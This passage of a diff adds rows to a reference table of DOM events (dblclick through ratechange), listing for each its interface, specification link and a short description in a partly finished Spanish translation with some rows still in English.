+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick">DOM L3</a></td>
+   <td>Un botón del dispositivo señalador hace click dos veces en un elemento.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicelight")}}</td>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
+   <td>Datos nuevos están disponibles desde un sensor de luz.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicemotion")}}</td>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Datos nuevos están disponibles desde un sesor de movimiento.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceorientation")}}</td>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Datos nuevos están disponibles desde un sensor de orientación.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceproximity")}}</td>
+   <td>{{domxref("DeviceProximityEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
+   <td>Datos nuevos están disponibles desde un sensor de proximidad (<span id="result_box" lang="es"><span class="hps">indica</span> <span class="hps">una distancia aproximada</span> <span class="hps">entre el dispositivo y</span> <span class="hps">un objeto cercano</span></span>).</td>
+  </tr>
+  <tr>
+   <td>{{event("dischargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>El atributo <code>dischargingTime</code> se ha actualizado.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{deprecated_inline}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate">DOM L3</a></td>
+   <td>Un botón, enlace o elemento de estado cambiante esta activado (usa {{event("click")}} en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged">DOM L3</a> Removed</td>
+   <td>El nombre de un atributo cambiado (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified">DOM L3</a></td>
+   <td>El valor de un atributo ha sido cambiado (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified">DOM L3</a></td>
+   <td>Un texto u otro <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> ha sido cambiado (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMContentLoaded")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">El documento ha</span> <span class="hps">terminado de cargar</span> <span class="hps">(pero</span> <span class="hps">no sus</span> <span class="hps">recursos dependientes</span><span>)</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged">DOM L3</a> Removed</td>
+   <td>El nombre de un elemento dependiente (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn">DOM L3</a></td>
+   <td>Un elemento ha recibido el foco (usa {{event("focus")}} o {{event("focusin")}} en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut">DOM L3</a></td>
+   <td>Un elemento ha perdido el foco (usa {{event("blur")}} o {{event("focusout")}} en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted">DOM L3</a></td>
+   <td>Un nodo ha sido añadido como un hijo de otro nodo (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument">DOM L3</a></td>
+   <td>Un nodo ha sido insertado en el documento (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved">DOM L3</a></td>
+   <td>Un nodo ha sido eliminado de su nodo padre A node has been removed from its parent node (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument">DOM L3</a></td>
+   <td>Un nodo ha sido eliminado del documento (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified">DOM L3</a></td>
+   <td>Ocurrio un cambio en el documento (usa <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> en su lugar).</td>
+  </tr>
+  <tr>
+   <td>{{event("downloading")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>La aplicación de usuario ha encontrado una actualización y está buscando o descargando los recursos enumerados en el caché del manifiesto por primera vez.</td>
+  </tr>
+  <tr>
+   <td>{{event("drag")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>Un elemento o texto seleccionato está siendo arrastrado (cada 35ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragend")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>Una operación de arrastre ha finalizado <span id="result_box" lang="es"><span class="atn hps">(</span><span>al pulsar un botón</span> <span class="hps">del ratón o</span> <span class="hps">pulsando la tecla</span> <span class="hps">escape)</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>{{event("dragenter")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>Un elemento arrastrado o un texto seleccionado entró en un destino válido.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragleave")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>Un elemento arrastrado o un texto seleccionado salió de un destino válido.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragover")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>Un elemento o texto seleccionado es arrastrado encima de un destino válido (cada 50ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragstart")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>El usuario empezó a arrastrar un elemento o un texto seleccionado.</td>
+  </tr>
+  <tr>
+   <td>{{event("drop")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>Un elemento es soltado en un destino válido.</td>
+  </tr>
+  <tr>
+   <td>{{event("durationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>El atributo <code>duration</code> se ha actualizado.</td>
+  </tr>
+  <tr>
+   <td>{{event("emptied")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">Los medios de comunicación</span> <span class="hps">se ha convertido en</span> <span class="hps">vacío</span><span>, por ejemplo</span><span>, este evento</span> <span class="hps">se envía si</span> <span class="hps">los medios de comunicación</span> <span class="hps">ya se ha cargado</span> <span class="hps">(o parcialmente</span> <span class="hps">cargado)</span><span>,</span> <span class="hps">y el método</span> </span><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> es llamado para volver a cargarlo.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>La reproducción se ha detenido porque se ha alcanzado el final de los medios de comunicación.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Web Audio API")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("endEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Un elento de animación <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> termina.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></td>
+   <td>Un recurso no se pudo cargar.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>La progresión a fallado.</td>
+  </tr>
+
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">Se ha producido un</span> <span class="hps">error al descargar</span> <span class="hps">el manifiesto de</span> <span class="hps">caché</span> <span class="hps">o actualizar el</span> <span class="hps">contenido de  la </span></span>aplicación.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request caused an error and failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("focus")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus">DOM L3</a></td>
+   <td>An element has received focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusin")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></td>
+   <td>An element is about to receive focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusout")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></td>
+   <td>An element is about to lose focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>An element was turned to fullscreen mode or back to normal mode.</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepadconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>A gamepad has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepaddisconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>A gamepad has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("hashchange")}}</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+  </tr>
+  <tr>
+   <td>{{event("input")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+  </tr>
+  <tr>
+   <td>{{event("invalid")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{event("keydown")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></td>
+   <td>A key is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("keypress")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a></td>
+   <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("keyup")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></td>
+   <td>A key is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("levelchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>level</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("load")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></td>
+   <td>A resource and its dependent resources have finished loading.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>Progression has been successful.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadeddata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadedmetadata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadend")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{event("loadstart")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousedown")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseenter")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseleave")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousemove")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseout")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseover")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseup")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("noupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The manifest hadn't changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("obsolete")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+  </tr>
+  <tr>
+   <td>{{event("offline")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{event("online")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{event("orientationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{event("pagehide")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{event("pageshow")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{event("paste")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transfered from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{event("pause")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("play")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{event("playing")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("popstate")}}</td>
+   <td>{{domxref("PopStateEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{event("progress")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The user agent is downloading resources listed by the manifest.</td>
+  </tr>
+  <tr>
+   <td>{{event("ratechange")}}</td>
+   <td>{{domxref("Event")}}</td>
